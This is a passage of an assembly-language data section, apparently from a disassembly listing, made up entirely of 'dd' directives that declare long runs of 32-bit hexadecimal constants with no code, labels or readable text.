0D95392F4h, 0AD393CC0h dd 0C190A0F9h, 83330110h, 0AC8085F5h, 514880DEh, 18669387h dd 0FCD107D7h, 476B3627h, 31F6701Dh, 9C03174Fh, 85E4F460h dd 4899E9E8h, 9416D4h, 96AFC05Ah, 97D6AEE2h, 0A1F4B300h dd 21DADEC7h, 386C0065h, 5A4DDD4Fh, 8D0F324Eh, 50A2AEh dd 16DFA372h, 378E3BB0h, 6D99B307h, 0F4412096h, 151F5FCDh dd 0A200A195h, 6FC7C1ECh, 293B037Bh, 0BB7ABA2Ch, 0ADF8DFE0h dd 0E058A4DBh, 0A58705h, 0D54DB8B3h, 89C6FBB6h, 37D7F800h dd 460DEC18h, 8CFF124Ah, 0D82E03C8h, 0B4E85F20h, 0C360FA50h dd 392A7760h, 0A2BA1EF6h, 0F270001Fh, 0C19F386Bh, 0C00ACFEh dd 0D62DB29Ah, 3437AAE2h dd 70386E4Ch, 42F5402Ch, 0DFA5291Dh, 16B08758h, 12261861h dd 0C895C18Eh, 6C665A0Fh, 28C0007Ch, 0C36E2B84h, 0E5199FF8h dd 0C5F321E7h, 2E418096h, 7635AEFEh, 439C01AFh, 0C971A74Ah dd 64E3D45Fh, 67DA4500h, 7D3449Eh, 85E246h, 0A7578A34h dd 5E5D2D39h, 0ACA11075h, 506FE1EAh, 5718B824h, 0B1008CEAh dd 11A9BAE7h, 0A89BDDC4h, 609DF7C4h, 0A60C88B0h, 0D200902Fh dd 0CE08A9F8h, 714296h, 95B6AADAh, 0DE7BAE8Eh, 9F11E2h dd 0E09AB8ACh, 89B301A4h, 96D6BA39h, 0A12880D0h, 21033372h dd 0ACCD00B1h, 0F02944A2h, 0E900D4D3h, 0F43519F6h, 52E76284h dd 2D1EA802h, 7776E4Ah, 2049B61Dh, 52394647h, 64FD7100h dd 0F1E64C03h, 157801ABh, 1DADA263h, 506085D0h, 0A840BD0Ah dd 0FB64DC5Eh, 22570055h, 740C5AF0h, 9020D70h, 389217AAh dd 0CFE5C3ABh, 832AB6C3h, 0A5D8F06Ch, 0F016070Eh, 4F8028FBh dd 1107A260h, 5C07FDA3h, 0D9F3A3Ch, 0D7F1C440h, 0A00F0F65h dd 0C543E5B5h, 688E0ACEh, 0D602ED72h, 0ABA40C3Ah, 447F20FDh dd 0DC7DD889h, 80303E3Fh, 0DBDD57B6h, 546992Ah, 7795B34Dh dd 5509802Dh, 51009F02h, 3634D7ABh, 0C1A498h, 9D2C7B42h dd 0E7D4A3B9h, 0D2178100h, 8E0DFB7Dh, 759C00CEh, 0A15B586Ch dd 3A0082C9h, 20D014A8h, 8A5EB1h, 75611ED7h, 83109BD1h dd 26C73303h, 9868020Eh, 0BEAD34h, 13586578h, 0B273D549h dd 0CC07567Ch, 59C73C81h, 5823C8C0h, 0CB460719h, 507D0FCDh dd 1FD9F02Bh, 0BC3A597Ch, 1A033A1Ch, 101BD1h, 6071FBF3h dd 2F5A0CE2h, 5E08B5FAh, 48201460h, 76D86523h, 69F6195Bh dd 0F0158052h, 0B331C07Ah, 0F4D0D8CCh, 4FA1EB0Dh, 0F963ED6Ah dd 0DADC11D6h, 54972080h, 803CB21h, 1016FE00h, 426A848Ah dd 3DFFFC7Fh, 480E714Ch, 3400399Eh, 68FA759Bh, 218F21Eh dd 6904881Ch, 0FE80621Eh, 981308C4h, 0A457011Bh, 83A58D9Ah dd 0D821C444h, 0D74F2A01h, 0DB3424FCh, 0B53DE4h, 4CAB7A3Ch dd 727EB35Ah, 0B1D85E00h, 0E7DCCF73h, 7F1439A6h, 34A52180h dd 0EE582505h, 0B843DD07h, 22C06F29h, 3E80B2h, 33AFBBACh dd 5135F026h, 0F37E38h, 0D4984DB4h, 71531CFh, 962994B1h dd 82B950DFh, 0B00C9BD6h, 6011E80Bh, 897B41h, 7BE5F640h dd 8DDF1876h, 65134400h, 49CA3705h, 123E8F3h, 0C776C2FCh dd 0D095A034h, 0E5005ABAh, 59E8C16Ah, 4C062EA1h, 0E9007871h dd 334C9AFAh, 66008D76h, 4BD401C5h, 0F455C0h, 72862D2Eh dd 0D1874C02h, 0A8B6D805h, 0A880E092h, 0EE598393h, 0CE0F00C6h dd 0A64D57C4h, 0D3B5E86h, 3C00F6E7h, 9ADBD359h, 0BCED34h dd 1F4D1317h, 7F6CA27Dh, 0EF48400h, 615B11E7h, 9BE90080h dd 36AE5E96h, 77009751h, 0BFF865E0h, 90FEDEh, 0FCAA8580h dd 1FBCF188h, 9F4D9E00h, 2DCC9D55h, 1C673B60h, 24923780h dd 587453B6h, 0AF715FECh, 45AE2007h, 32706E05h, 0D55243h dd 9872F4FBh, 7D66066Fh, 0BD559300h, 0DEFAA8CEh, 0FE587310h dd 0B46A0052h, 398DC1CAh, 1F00905Dh, 8E6D417Bh, 6C082Ah dd 0BA9C3F01h, 955C18B7h, 8117B200h, 93907E96h, 2FA4Ah dd 0EFB0143Dh, 0E3EEFB1Bh, 0ABC66D00h, 0C1D28A24h, 554E0F61h dd 0FB00CD10h, 331F68A0h, 0BC501400h, 0DC31DFC3h, 570F0006h dd 25A95A49h, 541C77EDh, 0B693E8A4h, 9E80F51Dh, 56906B8Dh dd 24F54C33h, 0EFABC502h, 1BC04CFDh, 3D982BBCh, 0FCAED100h dd 0F1B03EA5h, 466601ADh, 1A885D73h, 990120E0h, 17A2F200h dd 0B7384418h, 94FD00CBh, 152022AAh, 3100D6A3h, 4477084Dh dd 4B023DCh, 6CF37F8h, 0DD13C083h, 0E3F26B32h, 0AEB84003h dd 88E0B70Dh, 74C79FD5h, 854E00EAh, 0B6FEF04h, 63009611h dd 52C1BAC6h, 0EB56DBDh, 18BF6709h, 5345E602h, 0DB2FE480h dd 25794B6Fh, 656DDD00h, 3C13C6A2h, 0E7EE0057h, 0C1432608h dd 566004AFh, 2DD0E450h, 297100D2h, 76C03648h, 4C00D782h dd 0ACCA88E8h, 9728308h, 70246DC6h, 15771800h, 880440CEh dd 0ACFDC246h, 0D8C082C0h, 2BDA0078h, 0C752816Ch, 2974FC37h dd 0E0711C00h, 90AFBDEFh, 0B1EE3E44h, 9AE24200h, 0B921FDAAh dd 804B8F3Dh, 9C986AD4h, 12F7591h, 27DDBCBh, 311AE271h dd 0FDF2CCF7h, 0AE5CFC00h, 80AAA13h, 16070096h, 3CC5F9D3h dd 0E20045B6h, 49D5FA2Eh, 676C72h, 5075311Ah, 9C7DEA8Bh dd 0BD1C4BFCh, 264119A5h, 34113AAAh, 9A71DCh, 0D8F6B95Ch dd 6D758501h, 0AD9F7E00h, 249659CFh, 0D7779Ah, 68433A91h dd 8BC95CACh, 35360B00h, 0E22E323Eh, 317707E8h, 0F0EAF80Eh dd 3F0C926Eh, 57587900h, 163E4821h, 5FD307D9h, 37EB9A41h dd 0F83FD009h, 64006CD4h, 402730E4h, 7BF913Ch, 5C21E860h dd 72E7FDh, 3B655FF8h, 8DC8C660h, 7FD077h, 0F79ECF6h, 0C9D13FFEh dd 3A035015h, 838405FCh, 0E6F07DCAh, 1CE148D2h, 8F7C8883h dd 105197D7h, 6D1E4CC7h, 95051A7Ah, 73047855h, 6884F802h dd 6A6840CAh, 54EC3EABh, 0D58E7600h, 0F5F757FDh, 21303702h dd 80F18DA7h, 95082E89h, 70A8009Bh, 0AB06D3A9h, 0B800D6B6h dd 0DD67D86Dh, 15614Eh, 5D72030Bh, 164A4CAEh, 0FF78BF01h dd 0ADE6F485h, 4DDBAC4h, 596C5B18h, 9B18814Bh, 21C1E4E3h dd 98D7E912h, 77C2345Fh, 602BDFA4h, 7DB4A0FCh, 0D1F303B2h dd 9EED8531h, 8DB16FE8h, 0EBDED200h, 0BA8AE00Eh, 8F930EA2h dd 0E6A06B3Dh, 89A912F3h, 0CCE1691Fh, 1101FEC7h, 1B90E3F0h dd 2D700ACh, 62F7A2CAh, 273A1C3Eh, 9EE8099h, 0C0E1218Ch dd 5F520084h, 0D91F9477h, 0FC018549h, 1462F671h, 0EEE95809h dd 8E4160h, 0CE656621h, 0DA717215h, 0EF6D7300h, 5E23DB67h dd 0F8C87FCBh, 56290192h, 0D16E1AA2h, 0CDC85005h, 8C907C09h dd 80FAE507h, 0B4503B50h, 0F2FF8Bh, 32404663h, 14DB5CBBh dd 82D10303h, 0B002FC3Ch, 93251Eh, 2D911F97h, 0E1EAAD15h dd 80CC0F3Eh, 5034EDCAh, 737EBD1h, 0CEF7A6AEh, 0EAD550C0h dd 6F16E9FAh, 8400FFF0h, 8F4F6B1Bh, 0B6270029h, 67E2E33Eh dd 25008318h, 0EF905F0Fh, 1FFEE58Eh, 8099DE35h, 9756F87h dd 0EB00CC78h, 5D245995h, 12EA3932h, 80667069h, 2F3FF6C4h dd 0C000A7Eh, 0B286CBD9h, 26FDDB28h, 80740380h, 39265005h dd 0BA7F2E65h, 80EC903Ch, 77EE3734h, 0E723151h, 5CAAD960h dd 4257F0E0h, 1E0FFFA7h, 0A037520Bh, 2944E47Fh, 105B0221h dd 823D1D6Ch, 15027866h, 6D332C19h, 683462BBh, 309AF694h dd 0BA600740h, 0C102CEE8h, 17DB2B76h, 0DF20A041h, 7873F707h dd 467D1CB2h, 59B50192h, 60392138h, 0F2121792h, 2C007FDAh dd 7128E74Dh, 0D6712Fh, 751A4457h, 0FDA70604h, 98E3E202h dd 40228E09h, 0F2F9020h, 3D498D0Fh, 0DFA3FA60h, 1E00253Ah dd 521FE10Ah, 0CA6E9A7h, 9E03B727h, 0C60E94BEh, 0C067C10Dh dd 5BD0657h, 800CB117h, 872BEB49h, 0F0040B5h, 1E46259h dd 12394FCh, 54A2A7F6h, 70FFD93Bh, 0F1EA9C9Ch, 0E7274A00h dd 7C14053Eh, 917F8Bh, 65C1B513h, 312A3948h, 0D000607Ah dd 6F3FBF8Ah, 4CAA78E9h, 0D1F0E47h, 163400C4h, 8F3B1B53h dd 806C8D17h, 0A3B09805h, 30723830h, 49F30015h, 0C7E86374h dd 244C8F11h, 4E6EC014h, 7B0EEEDh, 0C0A4DF20h, 0D6541226h dd 0E4F1CA40h, 6FB39E13h, 0BF4A2470h, 29A8B88Dh, 248809C4h dd 19E9632Ch dd 0A0500498h, 86A8AC00h, 0B6B8455Bh, 0B398772Ch, 0A79B0308h dd 3800514Dh, 54BFB8E6h, 816776h, 78D19484h, 0C75C9159h dd 0B66F7E00h, 1156EADCh, 74E2000Ah, 0B16AB70h, 8DE8BFBCh dd 286DF01Fh, 3497F180h, 0E9AFCEh, 9BDDC21Dh, 0D26E5B3Bh dd 0E1DA7E00h, 96AEF44Dh, 37CF0011h, 8C2E5358h, 77586328h dd 81A8004Ah, 38E141A3h, 0ABC4007Eh, 8374BFCCh, 0FD008F48h dd 0D16C86F1h, 155D280h, 2F406320h, 0E9EED006h, 6FC6F87Eh dd 0A7BAD13h, 12B03815h, 0C61C844Ch, 96D85400h, 0A366DCE7h dd 0CC3AB9FCh, 30D6E440h, 751E3CC8h, 39C029Ch, 1354742Eh dd 2C5097F8h, 0BF413F12h, 0EF1BA420h, 0B9EC3007h, 3DAB9C18h dd 72008A7Bh, 0E418C79Ah, 5FBD4A9h, 0EC16C02Fh, 0C88A85h dd 7500917h, 48F25135h, 8200C40Bh, 27E14577h, 0C890BFFFh dd 4453F300h, 464BCB41h, 0BAB300E5h, 979568C0h, 890C527h dd 403F67Bh, 0A4128B8Ah, 1FF29FE7h, 0C130C2F0h, 0E9F078DCh dd 0EFCF3D61h, 6AAB7289h, 2032016h, 7EE99B40h, 0AA690FF0h dd 68C1C450h, 0F014431Bh, 0C0C08C58h, 67B4AFDDh, 0C626039Ah dd 35A02B57h, 138D7FE0h, 0BA948B00h, 0A2159DF6h, 4B8B8ADh dd 0BDEDF9CDh, 0E39CC0F0h, 6500C425h, 54C214Bh, 706F73A9h dd 3DEE0A8h, 0F4D249F1h, 8CBD6960h, 2D0AF694h, 0A4D6135Ch dd 5977F560h, 0BCB33CC9h, 32FE2A30h, 93188676h, 74B152C6h dd 0AF7005h, 7A72DEDFh, 8BA11FC4h, 0AB031A76h, 69BF803Fh dd 0B7B5E87Eh, 74C41C32h, 510B0ED0h, 95CB3C0h, 0FB0023C6h dd 42F8F135h, 1BC7ADBh, 4984EA6h, 20B53F5Ch, 99000A25h dd 4595074Dh, 0C1B860h, 0A53CF282h, 0FCAB3E0Eh, 472F1900h dd 2DCCC03h, 807FE1h, 0D3A04329h, 0C1EB234Fh, 7250F000h dd 45619312h, 0B7B900E7h, 0B264CB79h, 710B571Fh, 86E53D21h dd 100F8Dh, 5AB0E0CDh, 4FC54B95h, 0A590C100h, 0A080BC8Ah dd 93313A94h, 6063AE80h, 0A998E055h, 0EB5F4C00h, 37EFC782h dd 3FD80EACh, 0CB208DB3h, 0FDDF889Eh, 0F23ADD01h, 0F44844F9h dd 0D7E0E035h, 69060023h, 0E09B12DAh, 0A57B37F0h, 0F474CF03h dd 888680h, 38629260h, 0AE6B2184h, 7E9BD300h, 34135547h dd 0A15307DDh, 80C048DFh, 0F5FDAE6Ah, 38A72830h, 3BE59B24h dd 0DF03AA32h, 4F20AB4Eh, 0BB6280E7h, 0F0053DC9h, 1810F670h dd 0DE090B80h, 0AACC007Ch, 9943AF65h, 0C648584Fh, 0E54C0690h dd 758A6D3h, 9ADFF35Fh, 3A6C2FE9h, 9800D121h, 5D2AEA15h dd 39357FF3h, 616A785h, 0F9790328h, 0E6D0788Bh, 0C1518C7Bh dd 24741058h, 0E800BB63h, 0CCDF0340h, 182D9D74h, 20A8BA32h dd 0C1733D78h, 0FD811E00h, 0C239456Eh, 892D00C9h, 4DD45753h dd 8E00AF5Eh, 5D7328F2h, 7B38887h, 65170A3Ah, 9F6FDE5Fh dd 0EEE00B6Fh, 222C78ACh, 7B18F426h, 2A9DD400h, 0C269D0h dd 733C67CFh, 6FAF6B2Fh, 420F0500h, 62346684h, 0E1CC0098h dd 69A1215h, 0ED382EDFh, 0BC7880F0h, 0C9B3D03Bh, 0F83407D5h dd 50C5232Ah, 0BAD1E651h, 373C6900h, 189F8A86h, 0D4326092h dd 786C2833h, 88FD7D00h, 9A3A83FAh, 0C018005Dh, 0D79B0F22h dd 0C577CB6Ch, 37E899FAh, 0D912E3FEh, 0A880535Ah, 0E3B27F2h dd 9F61859Dh, 85E9C66h, 0D2D09454h, 0A43BF200h, 78D76F1Fh dd 92960729h, 401A8016h, 6BD0A8AFh, 62007CB8h, 0BE01D24Fh dd 0D801334h, 0F2C6EB4Eh, 57204049h, 357E30E0h, 0E36E8C00h dd 14F2BF2Bh, 0A4A5A09Bh, 8328DEF3h, 718B581Bh, 30AD5DC0h dd 2A18DB48h, 3800E8D5h, 0B6614412h, 0F29006h, 0E89E51C8h dd 0BA3BEC4Bh, 3C9549h, 6330FB81h, 154917BDh, 80C2B22Dh dd 0C914F010h, 0A557CA4h, 6280868Fh, 93006878h, 0E93B6Ah dd 56F88848h, 61726BCAh, 731E7AFAh, 59803E26h, 6D38CF53h dd 5F4B0E4Ah, 0EE4013B9h, 0D19AF98Fh, 45E61600h, 0F3B1526Bh dd 0E9D601C5h, 94DFFC21h, 5FA3204Dh, 6EA96000h, 495A3864h dd 77FDEA3Fh, 8DE202E8h, 16CB1237h, 0F9A86B40h, 0ECAB2802h dd 87FBAC6Dh, 0EDD0ADC0h, 0A90209h, 0DB04E7C2h, 2B9B887Fh dd 0E6BB6A18h, 291950h, 0C28931E0h, 99746C8Fh, 25438A00h dd 3542DE71h, 80A2007Fh, 0D0A7F485h, 0C10719C4h, 2CFEED48h dd 7642C920h, 0E4310075h, 0DAD51ACCh, 52004FEAh, 51B4A2D2h dd 30579B15h, 97A04B33h, 2818BEFEh, 61100C7Fh, 5D183F3Fh dd 3D90B3B0h, 0D2138B67h, 4D07C64Eh, 0DB20D0A0h, 0F9A94Ch dd 0EF2383B0h, 1F07376Fh, 0C7185A0Eh, 0B2AD00F2h, 7490C02Ch dd 5D7F49h, 5B234025h, 0BCD2FD3Fh, 0B7004A7Ah, 9F2E8997h dd 0E8A4D0E4h, 0F121C05Ah, 22FFBE40h, 25390D00h, 0F8B93B82h dd 50C90049h, 776C633Eh, 30C01FDBh, 0C2ACA837h, 71DE0083h dd 14493CDCh, 58281C24h, 0A2008F5Ah, 7C32FD21h, 3C162620h dd 2503B150h, 7D42745Dh, 17993Bh, 0E381F923h, 504651h dd 5C3A4B4Eh, 36ED15Bh, 47AD7C07h, 0F240BA18h, 371ABD4h dd 9C8F8324h, 48005B17h, 395F1E2h, 0C15CD4EAh, 322AF2D1h dd 0B8804C22h, 38F11E04h, 4D31A559h, 0C62B0026h, 0F77500B8h dd 0C86608D9h, 0ABB0E94Bh, 0CB5F6801h, 7C8358A7h, 0CC415080h dd 11F39C4Dh, 18F2FA00h, 39FD77E7h, 36D50A87h, 6488F565h dd 205D60EFh, 94522845h, 20888484h, 92071E68h, 10CC2041h dd 6BB303EBh, 53180554h, 731059Fh, 0A6B14E8Ch, 3D011959h dd 0F9E274CBh, 42DB66BAh, 0D7E1FCF8h, 0F0480C67h, 61883C73h dd 0E26A2A07h, 3FF88C79h, 77058C74h, 0AFF94D3Dh, 0E84FA80h dd 6F8300F1h, 0DA784223h, 0D0FD0B2h, 63094F93h, 9850CB8Ch dd 73F536h, 8630C8FDh, 0BB38CCA8h, 57C0F400h, 0EBE29229h dd 75BE5820h, 0C13B600h, 3E48426Dh, 2B8D7502h, 0E0A473ADh dd 51C90Dh, 0CCF23490h, 0F1D9CBEh, 0ED654E00h, 4945982Ch dd 143D006Bh, 22CBDD81h, 0D700CA69h, 0FFFCF856h, 0BAF47FBh dd 98A34DEFh, 2CB4C200h, 7D000F20h, 0E991106Dh, 8EA809h dd 142A7923h, 0B8AFC5FAh, 0BD00D4FAh, 993DA670h, 9B4A7A5h dd 571D7EFEh, 0BE4F0Eh, 2CC6D653h, 8008350h, 0A9E5FEB3h dd 0E647D586h, 79870063h, 6DC82C96h, 893A94FCh, 0DA95801Ah dd 3FD6A672h, 0A82CA3A4h, 1003331Ch, 84502F96h, 0E0003A6Ch dd 0ACC0ABC2h, 0ABC14228h, 0EC38D9EFh, 9B00797Dh, 31441D1Eh dd 7F85E2C5h, 0B30902C1h, 7B3DD113h, 8151080h, 0E1788502h dd 246D3Ch, 2511DFDAh, 0E6346B20h, 595501C3h, 32C0F0FFh dd 42880E6h, 0C8AA5F06h, 619D0FA5h, 9AA06780h, 6DFB2496h dd 2189C61Fh, 0DC0AAB80h, 2DE82Fh, 0DA48808Dh, 0A26B07BEh dd 30DE5201h, 511FE6BCh, 0AF899080h, 75038258h, 0EFB5809Dh dd 48D8CEDh, 3F2ADE3Dh, 0F00CC70Dh, 369CC999h, 4972A400h dd 0AC1886B4h, 5BC0117h, 4C75D99Fh, 0CC83E9D0h, 0C10007EEh dd 637A8D64h, 97EF8ECh, 55D85B16h, 0BC4E0600h, 0C41DE0ACh dd 1F44072Bh, 0EFC08652h, 2C477CCEh, 0CBBB60h, 0D15A2FF9h dd 0BD07FD18h, 2C31376Dh, 0D0AB9AE0h, 8D990006h, 1015017Fh dd 7006B3FAh, 1771C7C9h, 0EE4307A4h, 0C0ED57BDh, 66BE4725h dd 0CAEBB01h, 0FD192879h, 3EF68880h, 300ED2A4h, 3A498E00h dd 1728D762h, 0FB450089h, 4F9DBDA6h, 4107AD42h, 0CCEAE349h dd 0EEA06420h, 384BF848h, 658EDC70h, 15406ACDh, 95AAE0E6h dd 0BFC4D11Fh, 0A6FF9300h dd 4EE20Dh, 279DBBFDh, 0B1C14F13h, 0F1351400h, 26ED55FAh dd 0A11F004Eh, 19CEBBFh, 29003CE8h, 36955FB0h, 6CFF1Ch dd 3D590C61h, 0CE32E953h, 553F6A00h, 0E25D625Bh, 0E14903A9h dd 0B5C61D22h, 404C2000h, 81BEC711h, 338507F6h, 0A00B1784h dd 344F1E01h, 0CC30B600h, 0E7C786F7h, 92E90350h, 0E419C82Fh dd 0CD42D1EAh, 7FC52BC0h, 0E952AE00h, 3D96A57h, 0BF560032h dd 0CC1FAA8Ah, 4D0EDAB3h, 0A7BDC9F8h, 0F00C2C3h, 0FE31303Eh dd 309E54C5h, 0ADCF0841h, 0C4C1606Bh, 56304AD0h, 0BCFA39A2h dd 7D39EE80h, 0F16E4D91h, 2E18D6E0h, 3249CCB1h, 7E7900F3h dd 9083C493h, 0BBB05807h, 0A304CC00h, 4312637Fh, 57270FF9h dd 2F82EBF0h, 8C80BA17h, 0BD666E62h, 0AD6F8600h, 996A8B1Bh dd 0A856395Bh, 4D178C80h, 9860B761h, 4ACE2C00h, 0ECBEA725h dd 0D60C07A3h, 0D00E24A5h, 3F1CE5C5h, 5373Ah, 28E4CB8Eh dd 0D2781Fh, 0A0E27CE8h, 45F0D502h, 0E5EE7D00h, 0E7F2FFCEh dd 4CDAE426h, 0F6002A90h, 7CDE5367h, 0EF1F8ECBh, 7A876F68h dd 60909E55h, 0F0F8BAEh, 0C4C3B098h, 55807BC9h, 515A79BAh dd 0CA397201h, 0AA3B2C73h, 0F8F811C9h, 0BB7323h, 4D903A6Dh dd 5A47C145h, 0FA03BD00h, 63761652h, 97B507A8h, 907B7AAEh dd 0D3A6844Ah, 0D1491104h, 0E280DB21h, 4E29FDh, 67FB16A8h dd 9910347h, 1B3E43E8h, 85A10021h, 0BDB1A6CFh, 0CD8A0080h dd 53AD0B6Eh, 0D700A9DCh, 0DB36D8C1h, 1E8F0F7Ch, 0C06A4103h dd 5A0B53AFh, 540384E8h, 4628DB0Ah, 0C14CF825h, 4879B8C5h dd 0BF004BB8h, 0D772653h, 660099E6h, 39D13C09h, 1A93422h dd 598E0F5Fh, 7A02233Eh, 0C258A9FCh, 0DCF1BD00h, 0E73DD546h dd 0E4373201h, 3C53AEC0h, 1A4CDF4h, 0E18B257Eh, 0BD74512Fh dd 0A77A0008h, 0AA66FE90h, 47EE001Bh, 504056CAh, 57301CB0h dd 0D3AF8138h, 0E6C06B1h, 0F015B886h, 742AC10Fh, 8AC8A105h dd 2EECDEB0h, 0D54B1996h, 87D0C03Fh, 796C3CF8h, 32081BF0h dd 4E4A0C1Fh, 0F3595048h, 93D4A500h, 7BC754BFh, 10833A27h dd 20375C18h, 0CB70C08Ch, 53C33D00h, 0D28DBC70h, 316C1DA3h dd 9860F0B5h, 0C500EC82h, 5C9986EEh, 2B3D1B2h, 0A6451EF1h dd 8490FED7h, 0C03FBBC8h, 0FCE58825h, 79AD8050h, 93143C68h dd 9ED2A50Eh, 38188066h, 78FF6B4h, 0E17F9F92h, 65A930D4h dd 1503C3B3h, 4E66B635h, 0B81DCB62h, 1780FC0h, 0C6A5C2D1h dd 0F0E279A8h, 0A93F26C1h, 4FE0876Dh, 84F0F0C9h, 0E81441h dd 2C43F55Bh, 0BBCFBC04h, 10343Bh, 39A2E5F3h, 0E4F7E4EDh dd 0B8710201h, 2B93A8EBh, 0B23AE360h, 7675F179h, 0A2EC03FEh dd 0CD3CE00h, 8128EE64h, 0DD0A0745h, 0C763EA72h, 0F125903Ah dd 9600AA9Bh, 2847FDABh, 0C54DCBh, 0E52A2689h, 61F37F57h dd 34DAE800h, 136BDB5Eh, 1B1500E7h, 0BB713393h, 1CF8D509h dd 0CEF77A0Fh, 8D2EC08Ah, 38694F35h, 1109E8A9h, 1D70306h dd 0BF736CE4h, 0E829430h, 0E923F572h, 66DDF120h, 0E4606D27h dd 48543830h, 0A24E3F2Ah, 0E3AA6500h, 0A928F5EBh, 9457F0C0h dd 7E73C16h, 1502FD7Fh, 6090C79Eh, 0EE39B3E0h, 0F1D5B40Ch dd 275594Eh, 3820AA62h, 71100710h, 0FED4892Bh, 2C293610h dd 0C8E984Bh, 0EC59A6AFh, 0E92C2101h, 31BD9B4h, 0B1C4DF08h dd 0FD204EFCh, 0EC04DA21h, 929540F5h, 0B268AE43h, 0DD6C5866h dd 8A881D59h, 2DB6C76Dh, 0B580C8CDh, 3813A2C8h, 2284A658h dd 2C28AFF5h, 56372C9Ah, 4955B11Fh, 0A53C2C00h, 2AB4B00Dh dd 0CFC3FB1h, 4D534ADCh, 0BC00DF50h, 83AE8DF5h, 0B7FE89Bh dd 585DBF1Bh, 87954880h, 0D6061135h, 2F60CCC5h, 0C59EC78h dd 0E76904E9h, 0C601F3D9h, 0F05D9094h, 2AFD80FAh, 59B8F8h dd 47AB37A2h, 0B24CAFAEh, 75251E00h, 61A316B5h, 690C0010h dd 0C9B0E933h, 0C6004C59h, 5F5A1541h, 0AE22FAh, 93CFFE29h dd 0B713BE7Fh, 4DA40501h, 4CAA945Eh, 46D1FC40h, 3AFF427h dd 0D62CFC31h, 0B9029745h, 4789B5D0h, 19E07FE2h, 341416B0h dd 39CC2A61h, 1E17868Fh, 0F0D84D7Eh, 0C45054FDh, 0ABB8AB03h dd 7478806h, 0A60C3A3Ah, 3D3AC5Eh, 0D0A14BBFh, 0B1EAA01Dh dd 0F7E80039h, 50692ADh, 7E0082A3h, 3D89E48Ch, 99738Fh dd 22162DDFh, 0D556A1ADh, 25E7CA07h, 1187F7A3h, 0B2FEB0C0h dd 338D0735h, 0D03601C0h, 0E650831Ah, 0F828B324h, 0E2FC9032h dd 0B1F000E1h, 75F7913h, 9B57C6E7h, 2FB6401Ch, 0D6007035h dd 6D4E110Ch, 0FA24E471h, 756100EFh, 0F7FC570Ah, 380C7CE2h dd 0F090BC18h, 0E42F01D4h, 0A385609Eh, 81EC47EFh, 3017D3A5h dd 793DA704h, 3432A6ABh, 1A65280h, 6535BFh, 4F0AAF38h dd 99D5E0C7h, 11D620C0h, 3FAB06C8h, 0EA9E3D5Bh, 58ED5B5Ah dd 12F090C7h, 0CC0094E7h, 0FA311D7Ch, 2A7EA029h, 0BC4AB5h dd 0D8B2BEC2h, 270C953Dh, 0ACC47703h, 9020B656h, 65D2DAh dd 0AB0D9714h, 16646657h, 5523D400h, 4DFDEE6Ch, 58DC92F2h dd 0F5013D2Bh, 58DF461Ah, 0FE5AE8E7h, 0E0DBFC00h, 28C08D03h dd 57210040h, 43B6944Eh, 0A000EC10h, 32FAE3DBh, 0D55022h dd 5FAD4A80h, 4D2AC3B6h, 0A2E2B90Ah, 5800A8CDh, 5E9B678Dh dd 8385027Fh, 0B56678BAh, 0D08758C0h, 682E72F8h, 750E14EBh dd 0E7244EB2h, 62106965h, 9FB508h, 833DAB32h, 4DE2B1AAh dd 4C028901h, 0B6230C7Fh, 55D6B1C3h, 1625D840h, 54130077h dd 0C9182B81h, 7C739C68h, 0A7993300h, 90898C22h, 50F00E86h dd 8B40C4DDh, 0AA5D9E2Ah, 0D80064F6h, 6ADC97C2h, 50A2B35Bh dd 92E4C7h, 7150A46Dh, 0F441ADD5h, 8000AF7Bh, 0F6BB0DEh dd 1926101h, 0C78B3B04h, 0D173657Eh, 0FF8DFCE8h, 37DED201h dd 4C9C5DA4h, 0EEE0E60h, 0D8912B75h, 0A5255360h, 3D00DA02h dd 3AC08B10h, 30DEE3BBh, 82FE6371h, 85007C21h, 0A9989AA1h dd 0C98A31h, 0B44A06CCh, 4E8F0901h, 80035970h, 25EDD52h dd 0ECA9D813h, 1326FCD6h, 2B1E54h, 798E3321h, 0C9756C73h dd 0D286562h, 169D2143h, 0F3970036h, 0E8CC8178h, 97C1AA4h dd 0C580D0F6h, 0B2A40D1h, 226EF220h, 85227DD3h, 937A00D5h dd 0EF158E0Bh, 0F5806C0Ah, 78666434h, 88C88019h, 8C030D26h dd 631A7B50h, 7529180Ch, 0DA7D51FAh, 425BD88h, 471543CCh dd 8C70420Dh, 79B10261h, 9DE63020h, 3B150842h, 6B0C49BBh dd 0F1B57909h, 9345E300h, 0E0984C00h, 3E12C62Dh, 0AA3D00D9h dd 0F5714395h, 0E200B058h, 309B5BD3h, 0FA60A92h, 0C1D64598h dd 0D9E8EDC1h, 0E15FDCC0h, 6841A100h, 3CAC0962h, 0C87D4CB1h dd 0BC78A800h, 35DF964Ah, 4F1E4303h, 8A76FD94h, 88B80DEh dd 0F6830366h, 0B35713D8h, 0A57D0161h, 0F7686E2Ah, 0ED874F80h dd 16B91C00h, 3B6B3ADDh, 7C6400A3h, 0F1C796A8h, 6A00C032h dd 4B60CA07h, 4DD624h, 0ADDDF6D0h, 697348BDh, 93D1173h dd 0AB103EAh, 9081C5F4h, 6C2FFAh, 0C79D8589h, 9F708C96h dd 0AE650200h, 6762769Bh, 7EEC000Fh, 8EE01E47h, 0EF00234Ah dd 0C62F064Fh, 0E5C58A7h, 47BA9175h, 0BC27AD40h, 11309485h dd 8CD87818h, 9D1E0098h, 2F627DFBh, 3B98C601h, 8E53FD00h dd 9DA7C5Bh, 3A40077h, 0F73E0FA5h, 0D8004974h, 9FD5F8B4h dd 0C0ACCFh, 0DA17EEC9h, 30B37270h, 0E14A500h, 9A4C48C6h dd 1DF8E7h, 6C2AEAA9h, 0A5BBFFF6h, 0D1BDD21Eh, 0A403F4C0h dd 3CED269Bh, 7180764Eh dd 703B5938h, 1100675Bh, 998330D4h, 0F778959Bh, 0FE1CF8h dd 0DEB475D9h, 6ADFF0F6h, 0A5887704h, 1AC07CBEh, 16C2253h dd 70A01141h, 607AB973h, 0AA00F388h, 0E5D07808h, 1FB5614Bh dd 0C4F0AB94h, 805792E4h, 2CC4D1E8h, 0B101F4F4h, 3C119ABCh dd 0AFC0D5FBh, 352D1D39h, 0AA7640FAh, 0B878DE42h, 671BF00Fh dd 0F8580029h, 48BF9956h, 850005FBh, 459A23C0h, 0E30015BEh dd 0D82483B9h, 2997565h, 0AB1FB4A6h, 0D0E0209Bh, 0C5F26048h dd 81C8BE06h, 0C83ADh, 4B11CAF5h, 0BFFE3079h, 0A3A13701h dd 6DD69C81h, 158B6F0h, 2975A5E5h, 0C02F1185h, 5B005505h dd 3CF5AD59h, 18CE99h, 0C40ABEE3h, 5A09F257h, 